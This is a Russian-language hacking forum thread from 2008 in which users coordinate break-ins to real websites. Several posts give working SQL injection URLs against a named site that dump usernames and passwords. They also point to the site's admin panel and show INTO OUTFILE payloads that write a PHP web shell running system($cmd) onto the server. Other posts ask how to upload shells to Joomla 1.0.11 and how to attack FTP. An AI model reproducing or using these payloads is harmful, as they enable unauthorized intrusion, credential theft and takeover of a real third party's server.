 |
|
04.10.2008, 00:00
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
frigid20, врятли =\ Щас поковыряю скулю, мож чего интересного найду
|
|
|
04.10.2008, 00:03
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Ещё вопрос:
office_ausers
Встречал кто-нибудь такую ? Перепробывал уже во все формы вбивать оттуда пароли))
Поля:
1 : usr_id
2 : user_id
3 : usr_lname
4 : usr_fname
5 : usr_email
6 : usr_info
7 : usr_username
8 : usr_password
9 : usr_public
10 : usr_group
Последний раз редактировалось Велемир; 04.10.2008 в 00:08..
|
|
|
|
04.10.2008, 00:17
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
frigid20,
http://www.vodnik.info/article.php?aid=-1%27+union+select+1,concat_ws(0x3a,username,passwo rd),3,4,5,6,7,8,9+from+tbl_users/*
http://www.vodnik.info/admin/
 |
|
|
|
04.10.2008, 07:55
|
|
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
С нами:
9457097
Репутация:
133
|
|
2Велемир дык в чем проблема то состоит тебе форму для аута нужно что ли найти ? Ну тогда если можно то линк сюда или в ПМ 
2frigid20 у тебя ковычки не экраниються судя по запросу Залей через Into outfile шелл и будет тебе счастье )
Последний раз редактировалось MaSTeR GэN; 04.10.2008 в 08:00..
|
|
|
|
04.10.2008, 09:08
|
|
Новичок
Регистрация: 19.01.2008
Сообщений: 19
С нами:
9636717
Репутация:
11
|
|
2n0ne, спасибо
2MaSTeR GэN, на запрос вида http://www.vodnik.info/article.php?aid=-1'+select+'<? php system($cmd) ?>'+from+tbl_users+INTO+OUTFILE+'/home/vodnik/vodnik-www/yarobot.php'/* сайт зависает...
|
|
|
|
04.10.2008, 14:40
|
|
Познающий
Регистрация: 30.09.2008
Сообщений: 34
С нами:
9269229
Репутация:
9
|
|
Интересуют уязвимомости и методы взлома Ftp, по возможности приводите ссылки, а то юзал поиск, поиск особых результатов не дал
|
|
|
|
04.10.2008, 16:51
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Сообщение от idTalis
Интересуют уязвимомости и методы взлома Ftp, по возможности приводите ссылки, а то юзал поиск, поиск особых результатов не дал
http://www.inattack.ru/article/97.html
|
|
|
|
04.10.2008, 17:18
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
frigid20, просто ты неправильно юзаешь.
http://www.vodnik.info/article.php?aid=-1%27+union+select+1,'%3C?%20echo%20%22asd%22;%20?% 3E',3,4,5,6,7,8,9+into+outfile+'/home/vodnik/vodnik-www/123.php'/*
Вот правильно. Тебе осталось найти папку с правами на запись. |
|
|
|
04.10.2008, 17:23
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
frigid20, https://forum.antichat.ru/threadnav34338-1-10.html прочти.
|
|
|
|
04.10.2008, 18:18
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Всвязи с какими ошибками JOOMLA выдаёт сообщение на заливку шелла вида .php.gif -
Фаил трататата не может быть показан,так как содержит ошибки.
Версия JOOMLA 1.0.11
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
